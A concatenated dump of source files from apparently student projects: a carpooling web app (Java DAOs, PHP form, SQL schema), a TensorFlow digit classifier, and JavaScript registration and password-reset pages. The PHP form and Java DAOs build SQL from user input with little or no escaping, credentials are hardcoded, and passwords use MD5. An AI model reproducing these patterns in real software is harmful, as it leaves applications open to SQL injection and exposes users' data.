DROP TABLE IF EXISTS _criterion_crt;
DROP TABLE IF EXISTS _criterion_type_ctt;
set foreign_key_checks = 1;<file_sep>/Covoiturage/src/dao/DaoPosition.java
package dao;
import google_api.GoogleGeoApiCached;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.Hashtable;
import utilities.Constantes;
import model.Position;
public class DaoPosition {
public static ConnexionBD con;
/**
* Insert a new position into the data base
*
* @param address
* @param latitude
* @param longitude
* @return the created {@link model.Position}; null if SQL query returns no
* result
* @throws Exception
*/
public static Position createPosition(String address, Double latitude,
Double longitude) throws Exception {
con = null;
String messageErr = null;
Position pos = null;
try {
con = ConnexionBD.getConnexion();
if ((latitude > 180 || latitude < -180)
|| (longitude > 90 || longitude < -90)) {
messageErr = Constantes.DATA_FORM_NOT_CORRECT;
System.err.println(messageErr + " : Latitude(" + latitude
+ ");Longitude(" + longitude + ")");
throw new Exception(messageErr);
}
String query = "call position_create_or_update(" + (address == null || address.equals("") ? "NULL" : "'"+ConnexionBD.escape(address)+"'") + ", "
+ latitude + ", " + longitude + ")";
ResultSet res = con.execute(query);
if (res.first())
pos = new Position(res);
//pos = getPositionByAddress(address);
} catch (ClassNotFoundException ex) {
messageErr = Constantes.CLASS_DB_NOT_FOUND;
System.err.println(messageErr + " : " + ex);
throw new Exception(messageErr);
} catch (SQLException ex) {
messageErr = Constantes.PROBLEME_CONNECTION_DB;
System.err.println(messageErr + " : " + ex);
throw new Exception(messageErr);
}
return pos;
}
/**
* Get the position related to the given address
*
* @param address
* @return the {@link model.Position}; null if there is no position
* information related to the given address
* @throws Exception
*/
public static Position getPositionByAddress(String address)
throws Exception {
con = null;
String messageErr = null;
ResultSet res;
Position pos = null;
try {
con = ConnexionBD.getConnexion();
String query = "call position_get_by_address(" + (address == null || address.equals("") ? "NULL" : "'"+ConnexionBD.escape(address)+"'") + ")";
res = con.execute(query);
if (res.first())
pos = new Position(res);
} catch (ClassNotFoundException ex) {
messageErr = Constantes.CLASS_DB_NOT_FOUND;
System.err.println(messageErr + " : " + ex);
throw new Exception(messageErr);
} catch (SQLException ex) {
messageErr = Constantes.PROBLEME_CONNECTION_DB;
System.err.println(messageErr + " : " + ex);
throw new Exception(messageErr);
}
if(pos == null) {
Hashtable<String, Double> gresult = GoogleGeoApiCached.getCoordOfAddress(address);
pos = DaoPosition.createPosition(address, gresult.get("latitude"), gresult.get("longitude"));
}
return pos;
}
/*
public static Position getPositionByCoords(Double latitude, Double longitude)
throws Exception {
con = null;
String messageErr = null;
ResultSet res;
Position pos = null;
try {
con = ConnexionBD.getConnexion();
String query = "call position_get_by_lat_lng(" + latitude + ", "+longitude+")";
try {
res = con.execute(query);
if (res.first())
pos = new Position(res);
} catch (MySQLIntegrityConstraintViolationException ex) {
// ? Errors ?
messageErr = Constantes.UNEXPECTED_ERROR;
System.err.println(messageErr + " : " + ex);
throw new Exception(messageErr);
}
} catch (ClassNotFoundException ex) {
messageErr = Constantes.CLASS_DB_NOT_FOUND;
System.err.println(messageErr + " : " + ex);
throw new Exception(messageErr);
} catch (SQLException ex) {
messageErr = Constantes.PROBLEME_CONNECTION_DB;
System.err.println(messageErr + " : " + ex);
throw new Exception(messageErr);
}
return pos;
}
*/
public static Position getPosition(int pos_id) {
Position pos = null;
try {
con = ConnexionBD.getConnexion();
String query = "SELECT * FROM position_pos WHERE pos_id= " + pos_id
+ "";
ResultSet curseur = con.execute(query);
if (curseur.first()) {
pos = new Position(curseur);
return pos;
} else {
return null;
}
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
public static Position getPosition(Position pos) {
// Quelqu'un peut m'expliquer l'intérźt de cette fonction ? -V
return DaoPosition.getPosition(pos.getId());
}
}
<file_sep>/Covoiturage/src/testGoogleApi.java
import java.lang.reflect.Array;
import java.util.ArrayList;
import java.util.Date;
import java.util.Enumeration;
import java.util.Hashtable;
import java.util.Iterator;
import java.util.Map.Entry;
import java.util.Set;
import dao.DaoPosition;
import dao.DaoRoute;
import dao.DaoUser;
import dao.DaoUser_fav_position;
import model.Position;
import model.Route;
import model.Route_type;
import utilities.DateUtils;
import utilities.ValidatorOfData;
import google_api.GoogleGeoApi;
import google_api.GoogleGeoApiCached;
public class testGoogleApi {
/**
* @param args
* @throws Exception
*/
@SuppressWarnings("unchecked")
public static void main22(String[] args) throws Exception {
// TODO Auto-generated method stub
String typeTest="";
//typeTest="googleDirection";
//typeTest="createRoute";
//typeTest="googleDirection";
typeTest="createUser";
if(typeTest.equals("createUser")) {
DaoUser.createUser("<EMAIL>", "Dounia1988", "Othman", "BENTRIA", "0677665544");
}
if(typeTest.equals("googleDirection")) {
Route r1;
String adr1;
String adr2;
String adr3;
Position pos1;
Position pos2;
Position pos3;
adr1 = "Lyon";
adr2 = "Paris";
adr3 = "Bron";
Hashtable<String, Double> gresult;
gresult = GoogleGeoApiCached.getCoordOfAddress(adr1);
pos1 = DaoPosition.createPosition(adr1, gresult.get("latitude"), gresult.get("longitude"));
gresult = GoogleGeoApiCached.getCoordOfAddress(adr2);
pos2 = DaoPosition.createPosition(adr2, gresult.get("latitude"), gresult.get("longitude"));
gresult = GoogleGeoApiCached.getCoordOfAddress(adr3);
pos3 = DaoPosition.createPosition(adr3, gresult.get("latitude"), gresult.get("longitude"));
System.out.println("Debut a "+pos1.getAddress());
ArrayList<Hashtable<String, Object>> result = GoogleGeoApi.getDirection(pos1.getCoords(), pos2.getCoords(), "", new Hashtable<Integer, Hashtable<Integer,Double>>());
/*
Enumeration<Hashtable<String, Double>> en = result.elements();
while(en.hasMoreElements()) {
*/
// while(itKey.hasNext()) {
for(int i=0;i < result.size();i++) {
//Character value = (Character)itValue.next();
Integer key = i;
Hashtable<String, Object> step = (Hashtable<String, Object>) result.get(i);
String addressStart = GoogleGeoApiCached.getNearAddressFromCoord((Hashtable<String, Double>) step.get("begin"));
String addressEnd = GoogleGeoApiCached.getNearAddressFromCoord((Hashtable<String, Double>) step.get("end"));
Double duration = (Double) step.get("duration");
ArrayList<Hashtable<String, Object>> segments= (ArrayList<Hashtable<String, Object>>) step.get("segments");
System.out.println("Step : ");
System.out.println(" start : "+addressStart);
System.out.println(" end : "+addressEnd);
System.out.println(" duree : "+duration);
System.out.println(" etape: "+key);
System.out.println(" SUB Step : "+segments.size());
for(int i2=0;i2 < segments.size();i2++) {
String subaddressStart = GoogleGeoApiCached.getNearAddressFromCoord((Hashtable<String, Double>) segments.get(i2).get("begin"));
String subaddressEnd = GoogleGeoApiCached.getNearAddressFromCoord((Hashtable<String, Double>) segments.get(i2).get("end"));
Double subduration = (Double) segments.get(i2).get("duration");
System.out.println(" SUB Step : ");
System.out.println(" start : "+subaddressStart+" - "+((Hashtable<String, Double>) segments.get(i2).get("begin")).get("latitude")+" , "+((Hashtable<String, Double>) segments.get(i2).get("begin")).get("longitude"));
System.out.println(" end : "+subaddressEnd);
System.out.println(" duree : "+subduration);
}
}
System.out.println("Fin");
}
if(typeTest.equals("createRoute")) {
String adr1;
String adr2;
String adr3;
String adr4;
Route r1;
Position pos1;
Position pos2;
Position pos3;
Position pos4;
adr1="Lyon";
adr2="Paris";
adr3="Bron";
adr4="Dijon";
pos1 = DaoPosition.getPositionByAddress(adr1);
pos2 = DaoPosition.getPositionByAddress(adr2);
pos3 = DaoPosition.getPositionByAddress(adr3);
pos4 = DaoPosition.getPositionByAddress(adr4);
System.out.println(DateUtils.getDateAsInteger(new Date(199999)));
System.out.println(DateUtils.getDateAsInteger(new Date()));
r1 = DaoRoute.createRoute(Route_type.PROVIDE_CAR, adr1,
adr2, new Date(), null, "comment",
1, 3, (Integer) 0);
System.out.println(r1);
Hashtable<Integer, Route> result = DaoRoute.route_search(pos1, pos2, new Date(0), new Date(), 100, 0);
testGoogleApi.displayHash(result);
result = DaoRoute.route_search(pos3, pos2, new Date(0), new Date(), 10000, 0);
result = DaoRoute.route_search(pos4, pos2, new Date(0), new Date(), 20000, 0);
//result = DaoRoute.route_search_of_owner(1, new Date(), new Date(0), 0);
testGoogleApi.displayHash(result);
System.out.println("fin");
if(true) {
return ;
}
/*
Hashtable<String, Double> resultCoord;
String addressQuery = "Lyon";
String resultAddress;
resultCoord = GoogleGeoApi.getCoordOfAddress(addressQuery);
if(resultCoord == null) {
System.out.println("Pas de coordonnées");
}else{
System.out.println(new String("Coords : ").concat(resultCoord.toString()));
resultAddress = GoogleGeoApi.getNearAddressFromCoord(resultCoord);
if(resultAddress == null) {
System.out.println("Pas d'addresse correspondante");
}else{
System.out.println(new String("Address : ").concat(resultAddress));
}
}
*/
}
}
public static void displayHash(Hashtable<Integer, Route> hash) {
System.out.println("Affichage des resultats");
Enumeration<Route> en = hash.elements();
while(en.hasMoreElements()) {
Route rte = en.nextElement();
System.out.println("Route : ");
System.out.println(" Owner : "+rte.getOwner());
System.out.println(" Depart : "+rte.getPosition_beginObj().getAddress());
System.out.println(" Arrive : "+rte.getPosition_endObj().getAddress());
}
}
}
<file_sep>/Base de donnees/v1/sims.v1.sql
-- phpMyAdmin SQL Dump
-- version 3.3.9
-- http://www.phpmyadmin.net
--
-- Serveur: localhost
-- Généré le : Mer 09 Février 2011 à 15:40
-- Version du serveur: 5.1.54
-- Version de PHP: 5.3.5
SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
--
-- Base de données: `sims`
--
-- --------------------------------------------------------
--
-- Structure de la table `chemin`
--
CREATE TABLE IF NOT EXISTS `chemin` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`depart` text NOT NULL,
`arrivee` text NOT NULL,
`date` bigint(11) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=10 ;
--
-- Contenu de la table `chemin`
--
INSERT INTO `chemin` (`id`, `depart`, `arrivee`, `date`) VALUES
(1, 'charpenne', 'Part Dieu', 0),
(2, 'Belcour', 'INSA de Lyon', 0),
(3, 'aaa', 'aaaa', 0),
(5, 'xx', 'xx', 2011),
(6, 'tes1', 'tes2', 0),
(7, 'vv', 'vv', 1297983600000),
(8, 'marche', 'marche', 1297897200000),
(9, 'depart1', 'arrivee', 1298588400000);
<file_sep>/Covoiturage/src/dao/ConnexionBD.java
package dao;
import java.sql.*;
public class ConnexionBD {
public Connection con = null;
public Statement sta=null;
public ResultSet re=null;
public ResultSetMetaData metaBase;
public static String url = "jdbc:mysql://1192.168.127.12:3306/sims?user=root"; // @jve:decl-index=0:
public static String nomDriver = "com.mysql.jdbc.Driver"; // @jve:decl-index=0:
private static ConnexionBD conPersistante=null;
public ConnexionBD(String url, String nomDriver) throws SQLException, ClassNotFoundException {
Class.forName(nomDriver);
con = DriverManager.getConnection(url);
System.out.println("Overture de la connection");
sta = con.createStatement();
}
public ResultSet search(String query) throws SQLException{
re=sta.executeQuery(query);
//System.out.println("Element trouvé");
return re;
}
public ResultSet execute(String query) throws SQLException{
re=sta.executeQuery(query);
//System.out.println("Element trouvé");
return re;
}
public void insert(String query) throws SQLException{
sta.executeUpdate(query);
//System.out.println("Element ajouté à la base");
}
public void update(String query) throws SQLException{
sta.executeUpdate(query);
System.out.println("Element modifié");
}
public void delete(String query) throws SQLException{
sta.executeUpdate(query);
System.out.println("Element supprimé");
}
public void close(){
try {
con.close();
} catch (SQLException e) {
System.out.println("Problème de fermeture de la base de données");
}
System.out.println("Base de données fermée");
}
public static String escape(String input) {
return input.replaceAll("'", "''");
}
public static ConnexionBD getConnexion() throws SQLException, ClassNotFoundException {
if(ConnexionBD.conPersistante == null) {
ConnexionBD.conPersistante = new ConnexionBD(ConnexionBD.url, ConnexionBD.nomDriver);
}
return ConnexionBD.conPersistante;
}
}<file_sep>/Covoiturage/src/utilities/DateUtils.java
package utilities;
import java.util.Date;
public class DateUtils {
public static Integer getDateAsInteger(Date input) {
return Integer.valueOf(String.valueOf(input.getTime()/1000));
}
public static Date getTimestampAsDate(long dateTimestamp) {
Date dt = new Date(1000 * dateTimestamp);
return dt;
}
public static String getIntervalAsText(int delta) {
if(delta < 0) {
return DateUtils.getIntervalAsTextWithPrefix(-delta, "il y a ");
}else{
return DateUtils.getIntervalAsTextWithPrefix(delta, "dans ");
}
}
public static String getIntervalAsTextWithPrefix(int delta, String prefix) {
if(delta < 60) {
return prefix+delta+" sec";
}else if(delta < (60*60)) {
Integer subdelta = (int) Math.ceil(delta/60);
return prefix+subdelta+" min";
}else if(delta < (60*60*24)) {
Integer subdelta = (int) Math.ceil(delta/(60*60));
return prefix+subdelta+" hr";
}else{
Integer subdelta = (int) Math.ceil(delta/(60*60*24));
return prefix+subdelta+" jour";
}
}
}
<file_sep>/Covoiturage/src/model/Criterion.java
package model;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.Hashtable;
import dao.DaoCriterion;
public class Criterion {
protected int id=0;
protected int type=0;
protected int root_criterion = 0;
protected int order = 0;
protected String label = "";
protected Criterion_type typeObj=null;
protected Criterion root_criterionObj=null;
/**
* @param id
* @param type
* @param root_criterion
* @param order
* @param label
*/
public Criterion(int id, int type, int root_criterion, int order,
String label) {
super();
this.id = id;
this.type = type;
this.root_criterion = root_criterion;
this.order = order;
this.label = label;
}
/**
* @param id
*/
public Criterion(int id) {
super();
this.id = id;
}
public Criterion(Hashtable<String, String> sqlrow) {
super();
this.id = Integer.valueOf(sqlrow.get("crt_id"));
this.type = Integer.valueOf(sqlrow.get("crt_type"));
this.root_criterion = Integer.valueOf(sqlrow.get("crt_root_criterion"));
this.order = Integer.valueOf(sqlrow.get("crt_order"));
this.label = sqlrow.get("crt_label");
}
public Criterion(ResultSet sqlrow) {
super();
try {
this.id = sqlrow.getInt("crt_id");
this.type = sqlrow.getInt("crt_type");
this.root_criterion = sqlrow.getInt("crt_root_criterion");
this.order = sqlrow.getInt("crt_order");
this.label = sqlrow.getString("crt_label");
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
/**
* @return the id
*/
public int getId() {
return id;
}
/**
* @param id the id to set
*/
public void setId(int id) {
this.id = id;
}
/**
* @return the type
*/
public int getType() {
return type;
}
public Criterion_type getTypeObj() {
if(this.typeObj == null) {
if(this.getType() > 0) {
this.typeObj = DaoCriterion.getCriterion_type(this.getType());
}else{
this.typeObj = null;
}
}
return this.typeObj;
}
/**
* @param type the type to set
*/
public void setType(int type) {
this.type = type;
}
/**
* @return the root_criterion
*/
public int getRoot_criterion() {
return root_criterion;
}
public Criterion getRoot_criterionObj() {
if(this.root_criterionObj == null) {
if(this.getRoot_criterion() > 0) {
this.root_criterionObj = DaoCriterion.getCriterion(this.getRoot_criterion());
}else{
this.root_criterionObj = null;
}
}
return this.root_criterionObj;
}
/**
* @param root_criterion the root_criterion to set
*/
public void setRoot_criterion(int root_criterion) {
this.root_criterion = root_criterion;
}
/**
* @return the order
*/
public int getOrder() {
return order;
}
/**
* @param order the order to set
*/
public void setOrder(int order) {
this.order = order;
}
/**
* @return the label
*/
public String getLabel() {
return label;
}
/**
* @param label the label to set
*/
public void setLabel(String label) {
this.label = label;
}
}
<file_sep>/src_php/sprint 1/add.php
<?php
if(isset($_POST["lieu_depart"]) && isset($_POST["lieu_arrivee"]) && isset($_POST["date_depart"])) {
if($_POST["lieu_depart"]!='' && $_POST["lieu_arrivee"]!='' && $_POST["date_depart"]!='') {
$con = mysql_connect('localhost','root','root');
if (!$con)
die('Could not connect: '.mysql_error());
mysql_select_db('ot', $con);
$req = "INSERT INTO trajets (lieu_depart, lieu_arrivee, date_depart) VALUES ('$_POST[lieu_depart]','$_POST[lieu_arrivee]','$_POST[date_depart]')";
if (!mysql_query($req,$con))
die('Error: ' . mysql_error());
mysql_close($con);
header('Location: list.php');
}
}
?><!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Co-voiturage</title>
</head>
<body>
<header>
<h1>Ajouter un trajet</h1>
</header>
<section>
<form method="post">
<h2>Où ?</h2>
<input type="text" placeholder="Lieu de départ" name="lieu_depart" /><br/>
<input type="text" placeholder="Lieu d'arrivée" name="lieu_arrivee" /><br/>
<h2>Quand ?</h2>
<input type="text" value="<?php echo date('Y-m-d G:i'); ?>" name="date_depart" /><br/>
<br/>
<input type="submit" value="Ajouter"/>
</form>
</section>
<br/>
<hr/>
<br/>
<nav>
<a href="index.php">Retour à l'accueil</a>
</nav>
</body>
</html><file_sep>/Base de donnees/v2/sims.v2.insert.sql
-- sims SQL V2, Sprint 2
-- MINIMAL INSERT
-- From <NAME>
INSERT IGNORE INTO _route_type_rtp (rtp_id, rtp_label) VALUES
(1, 'WantCar'),
(2,'ProvideCar');
INSERT IGNORE INTO _criterion_type_ctt (ctt_id, ctt_label) VALUES
(1, 'Preference');
INSERT IGNORE INTO _criterion_crt (crt_id, crt_type, crt_label, crt_root_criterion, crt_order) VALUES
(1, 1, 'Trip in family', NULL, 1) ,
(2, 1, 'Hide my infos', NULL, 1);
INSERT IGNORE INTO _criterion_type_ctt (ctt_id, ctt_label) VALUES
(2, 'Preference_music');
INSERT IGNORE INTO _criterion_crt (crt_id, crt_type, crt_label, crt_root_criterion, crt_order) VALUES
(3, 2, 'Preference_music_yes', NULL, 1) ,
(4, 2, 'Preference_music_no', NULL, 1);
INSERT IGNORE INTO _criterion_type_ctt (ctt_id, ctt_label) VALUES
(3, 'Preference_smoke');
INSERT IGNORE INTO _criterion_crt (crt_id, crt_type, crt_label, crt_root_criterion, crt_order) VALUES
(5, 3, 'Preference_smoke_yes', NULL, 1) ,
(6, 3, 'Preference_smoke_no', NULL, 1);
INSERT IGNORE INTO _criterion_type_ctt (ctt_id, ctt_label) VALUES
(4, 'Preference_animal');
INSERT IGNORE INTO _criterion_crt (crt_id, crt_type, crt_label, crt_root_criterion, crt_order) VALUES
(7, 4, 'Preference_animal_yes', NULL, 1) ,
(8, 4, 'Preference_animal_no', NULL, 1);
INSERT IGNORE INTO _criterion_type_ctt (ctt_id, ctt_label) VALUES
(5, 'Preference_talking');
INSERT IGNORE INTO _criterion_crt (crt_id, crt_type, crt_label, crt_root_criterion, crt_order) VALUES
(9, 5, 'Preference_talking_discret', NULL, 1) ,
(10, 5, 'Preference_talking_normal', NULL, 1),
(11, 5, 'Preference_talking_passionate', NULL, 1);
INSERT IGNORE INTO _passager_type_pgt (pgt_id, pgt_label) VALUES
(1, 'Accepted'),
(2, 'Rejected'),
(3, 'Pending');
INSERT IGNORE INTO user_usr (
`usr_id` ,
`usr_firstname` ,
`usr_lastname` ,
`usr_email` ,
`usr_password` ,
`usr_current_position` ,
`usr_genre` ,
`usr_birthdate` ,
`usr_description` ,
`usr_mobilphone` ,
`usr_note` ,
`usr_registrationdate` ,
`usr_lastlogindate`
)
VALUES (
'1', '', '', '<EMAIL>', '<PASSWORD>', NULL , 'male', '1999', 'descr', '', NULL , '0', '0'
);
| 969f30a2a5adcf0296e735e76b3bc7b39b7f22e9 | [
"Java",
"SQL",
"PHP"
] | 28 | PHP | cherihan/ot-sims-2011 | 67f0d60ef9cc582be91a9893851658549bd1c349 | 930ad438615267822a9facc0f6368a835bddbc71 |
refs/heads/master | <repo_name>bedrock17/tensor_test<file_sep>/04 - Neural Network Basic/myImageLoader.py
from PIL import Image
import numpy as np
def loadImageArray(filePath :str):
img = Image.open(filePath)
d = img.getdata()
d = np.array(d)
lst = []
for i in d:
t = 0
if i[0] > 128:
t = 1
lst.append(t)
return lst
def TestCode():
x_lst = []
x_lst.append(loadImageArray("1.png"))
x_lst.append(loadImageArray("2.png"))
print(x_lst)<file_sep>/04 - Neural Network Basic/mynn.py
import tensorflow as tf
# x_data = np.array([[0, 0], [1, 0], [1, 1], [0, 0], [0, 0], [0, 1]])
import myImageLoader as IL
import numpy as np
x_lst = []
y_lst = []
def appendTestData(fileName, ans):
global x_lst
global y_lst
x_lst.append(IL.loadImageArray("mynnimg/" + fileName))
y_lst.append(ans)
def makeAnsArr(idx: int):
ans = [0] * 10
ans[idx] = 1
return ans
appendTestData("1_1.png", makeAnsArr(1))
appendTestData("1_2.png", makeAnsArr(1))
appendTestData("1_3.png", makeAnsArr(1))
appendTestData("2.png", makeAnsArr(2))
appendTestData("3.png", makeAnsArr(3))
appendTestData("4.png", makeAnsArr(4))
appendTestData("4_2.png", makeAnsArr(4))
appendTestData("7.png", makeAnsArr(7))
appendTestData("8.png", makeAnsArr(8))
appendTestData("8_2.png", makeAnsArr(8))
appendTestData("8_3.png", makeAnsArr(8))
appendTestData("8_4.png", makeAnsArr(8))
x_data = np.array(x_lst)
y_data = np.array(y_lst)
#########
# 신경망 모델 구성
######
X = tf.placeholder(tf.float32, [None, 784])
Y = tf.placeholder(tf.float32, [None, 10])
tmp = 256
W1 = tf.Variable(tf.random_normal([784, tmp], stddev=0.01))
L1 = tf.nn.relu(tf.matmul(X, W1))
W2 = tf.Variable(tf.random_normal([tmp, tmp], stddev=0.01))
L2 = tf.nn.relu(tf.matmul(L1, W2))
# W2_2 = tf.Variable(tf.random_normal([tmp, tmp], stddev=0.01))
# L2_2 = tf.nn.relu(tf.matmul(L2, W2_2))
# W2_3 = tf.Variable(tf.random_normal([tmp, tmp], stddev=0.01))
# L2_3 = tf.nn.relu(tf.matmul(L2_2, W2_3))
W3 = tf.Variable(tf.random_normal([tmp, 10], stddev=0.01))
# 최종적인 아웃풋을 계산합니다.
# 히든레이어에 두번째 가중치 W2와 편향 b2를 적용하여 3개의 출력값을 만들어냅니다.
model = tf.matmul(L2, W3)
# 텐서플로우에서 기본적으로 제공되는 크로스 엔트로피 함수를 이용해
# 복잡한 수식을 사용하지 않고도 최적화를 위한 비용 함수를 다음처럼 간단하게 적용할 수 있습니다.
cost = tf.reduce_mean(
tf.nn.softmax_cross_entropy_with_logits_v2(labels=Y, logits=model))
optimizer = tf.train.AdamOptimizer(learning_rate=0.005)
train_op = optimizer.minimize(cost)
#########
# 신경망 모델 학습
######
init = tf.global_variables_initializer()
sess = tf.Session()
sess.run(init)
for step in range(2000):
sess.run(train_op, feed_dict={X: x_data, Y: y_data})
if (step + 1) % 10 == 0:
print(step + 1, sess.run(cost, feed_dict={X: x_data, Y: y_data}))
#########
# 결과 확인
# 0: R 1: G, 2: B
######
prediction = tf.argmax(model, 1)
target = tf.argmax(Y, 1)
t1 = []
t1.append(IL.loadImageArray("mynnimg/a_1.png"))
t1.append(IL.loadImageArray("mynnimg/a_4.png"))
t1.append(IL.loadImageArray("mynnimg/a_7.png"))
t1.append(IL.loadImageArray("mynnimg/a_8.png"))
t2 = []
t2.append(makeAnsArr(1))
t2.append(makeAnsArr(4))
t2.append(makeAnsArr(7))
t2.append(makeAnsArr(8))
myx = t1
myy = t2
print('예측값:', sess.run(prediction, feed_dict={X: myx}))
print('실제값:', sess.run(target, feed_dict={Y: myy}))
is_correct = tf.equal(prediction, target)
accuracy = tf.reduce_mean(tf.cast(is_correct, tf.float32))
print('정확도: %.2f' % sess.run(accuracy * 100, feed_dict={X: myx, Y: myy}))
| b099c7cb1ed49718a075edf8f76f0a0a591b5542 | [
"Python"
] | 2 | Python | bedrock17/tensor_test | 4cb5ebb4cf70b695e5c36d5bebd4ea7d7dfe304a | d85e77aa1b5822ab74b5e6d9e0bcc00c4ed450f6 |
refs/heads/master | <repo_name>luigi2001/vue-todolist<file_sep>/js/script.js
const app = new Vue(
{
el: '#app',
data:{
nuovoTodo:'',
todos:[
'fare i compiti',
'andare al mare',
'fare la spesa',
'guardare un film'
]
},
methods:{
addTodo(){
if(this.nuovoTodo == '' || this.todos.includes(this.nuovoTodo)){
alert('Attenzione! Non hai scritto nulla o hai scritto una cosa già presente nella lista');
this.nuovoTodo = '';
} else{
this.todos.push(this.nuovoTodo);
this.nuovoTodo = '';
}
},
remove(indice){
this.todos.splice(indice,1);
}
}
}
); | 0efd36f1a444ea6a154dafc1eaa82e4b29589d42 | [
"JavaScript"
] | 1 | JavaScript | luigi2001/vue-todolist | e2e8da2ed5b6bca7ea1b7500439f96c8b8fc3616 | aa0d6ee1a87142ef2da6ac80f031bb1946986418 |
refs/heads/master | <file_sep>var protocol;
var PhoneNumber;
var fromValue;
var PhoneArea;
var wait=60;
var userToken
$(document).ready(function(){
var Language = getCookie("Language");
$("header").load("lib/header/header.html",function(){
if (Language) {
$("body").cloudLang({lang: Language, file: "lib/lang/lang-resource.xml"});
CreateCookie("Language", Language, 30);
}else{
Language = "en";
console.log(Language);
$("body").cloudLang({lang: Language, file: "lib/lang/lang-resource.xml"});
CreateCookie("Language", Language, 30);
}
$('#LangChoose').change(function(){
var curLang = $(this).children('option:selected').val();
$("body").cloudLang({lang: curLang, file: "lib/lang/lang-resource.xml"});
$("#langIcon").attr("src",'img/'+curLang+'.png')
CreateCookie("Language", curLang, 30);
event.stopPropagation(); //阻止向上冒泡
});
$(".headerNav").mouseover(function(){
$(this).find(".botterLine").addClass("activeLine");
});
$(".headerNav").mouseout(function(){
$(this).find(".botterLine").removeClass("activeLine");
});
});
});//ready结束
//回到顶端
function backToTop() {
$('html,body').animate({
scrollTop: 0
}, 1000);
}
$(window).on('scroll', function () {/*当滚动条的垂直位置大于浏览器所能看到的页面的那部分的高度时,回到顶部按钮就显示 */
if ($(window).scrollTop() > $(window).height())
$("#TopButton").fadeIn();
else
$("#TopButton").fadeOut();
});
$(window).trigger('scroll');/*触发滚动事件,避免刷新的时候显示回到顶部按钮*/
layui.use(['layer', 'form','laydate'], function(){
var layer = layui.layer;
var form = layui.form;
//获取电话区号
$.ajax({
type:'GET',
data:{},
url: AjaxURL+'/AreTalkServer/Verify/getCountryAreacode.action',
success:function(data) {
for (var i = 0;i<data.data.areacode.length; i++) {
var areacode = '<option value="'+data.data.areacode[i].countryId+'">'+data.data.areacode[i].countryName+' +'+data.data.areacode[i].areaCode+'</option>';
$('#PhoneNmuAre').append(areacode);
var form = layui.form;
form.render();
//更新全部
}
},
error: function () {
}
});
form.on('checkbox(protocol)', function(data){
protocol = data.elem.checked;
});//勾选条款
form.on('submit(GetCode)', function(data){
fromValue = data.field;
if (!fromValue.protocol) {
alert("请您阅读后确认同意并勾选《服务条款》")
return;
}
fromValue.phoneNo = fromValue.phone.replace(/\b(0+)/gi,"");//去掉开头为0的
GetCode(fromValue.countryId,fromValue.phoneNo);
});
form.on('submit(subBtn)', function(data){
var verifyCode = data.field.verifyCode;
if (verifyCode==""){
alert("请填写手机短信验证码!")
return;
}
$.ajax({//检查验证码是否正确
async:false,
type:'POST',
data:{verifyCode:verifyCode,phoneNo:data.field.phone},
url: AjaxURL+'/AreTalkServer/Verify/verifyCodeMotifyPassword.action',
success:function(data) {
userToken = data.data.token
$("#registerForm").hide(300);
$("#resetForm").show(500);
},
error: function () {
}
});
});
form.on('submit(newpasswordsubBtn)', function(data){
var newpassword = hex_md5(data.field.newpassword);
$.ajax({//重置密码
async:false,
type:'POST',
data:{password:<PASSWORD>,userToken:userToken},
url: AjaxURL+'/AreTalkServer/Verify/motifyPassword.action',
success:function(data) {
if (data.data.status == "success") {
alert("设置成功,请返回重新登录")
console.log(newpassword)
console.log(userToken)
//window.location.href = "index.html"
}
},
error: function () {
}
});
});
//表单验证
form.verify({
agree: function(value, item){ //value:表单的值、item:表单的DOM对象
if(!protocol){
return ' 请您阅读后确认同意并勾选《服务条款》Please check the terms of service.';
}
},
username: function(value, item){ //value:表单的值、item:表单的DOM对象
if(!new RegExp("^[a-zA-Z0-9_\u4e00-\u9fa5\\s·]+$").test(value)){
return '用户名不能有特殊字符 The username does not have a special character';
}
if(/(^\_)|(\__)|(\_+$)/.test(value)){
return '用户名首尾不能出现下划线\'_\'';
}
if ( !/^[u4E00-u9FA5]+$/.test(value) ) {
return '不允许使用中文';
}
}
//我们既支持上述函数式的方式,也支持下述数组的形式
//数组的两个值分别代表:[正则匹配、匹配不符时的提示文字]
,pass: [
/^[\S]{1,50}$/
,'不能出现空格 No space can be found'
]
});
});
function time(){
if (wait == 0) {
$("#GetCode").removeAttr("disabled");
$("#GetCode").html("获取验证码");
$("#GetCode").css("background-color", "#009688");
wait = 60;
} else {
$("#GetCode").attr("disabled", "true");
$("#GetCode").css("background-color", "#9da2a7");
$("#GetCode").html("重新发送"+ wait);
wait--;
setTimeout(function() {
time()
},
1000)
}
}
function GetCode(countryId,PhoneNumber){
$.ajax({
async:false,
type:'POST',
data:{countryId:countryId,phoneNo:PhoneNumber,type:0},
url: AjaxURL+'/AreTalkServer/Verify/findPassword.action',
success:function(data) {
if(data.data.status=="success"){
time()
layer.msg('正在发送验证码,请查收手机短信',{time:1500});
console.log('正在发送验证码,请查收手机短信')
}else if(data.data.status=="failed"){
console.log(data.data.status)
layer.msg('error,please try again',{time:1500});
}
},
error: function () {
layer.msg('error,please try again',{time:1500});
}
});
}<file_sep>
var protocol;
var sexinput ;
var username;
var PhoneNumber;
var fromValue;
var PhoneArea;
var wait=60;
var extendCode;
var secondDomain = {};
$(document).ready(function(){
var locationURL = 'https://weibo.com/CrushStories/home?leftnav=1'/*window.location.href;*/
locationURL = locationURL.split(".")[0].split("//")[1];
console.info(locationURL)
var Language = getCookie("Language");
$("header").load("lib/header/header.html",function(){
if (Language) {
$("body").cloudLang({lang: Language, file: "lib/lang/lang-resource.xml"});
CreateCookie("Language", Language, 30);
}else{
Language = "en";
console.log(Language);
$("body").cloudLang({lang: Language, file: "lib/lang/lang-resource.xml"});
CreateCookie("Language", Language, 30);
}
$('#LangChoose').change(function(){
var curLang = $(this).children('option:selected').val();
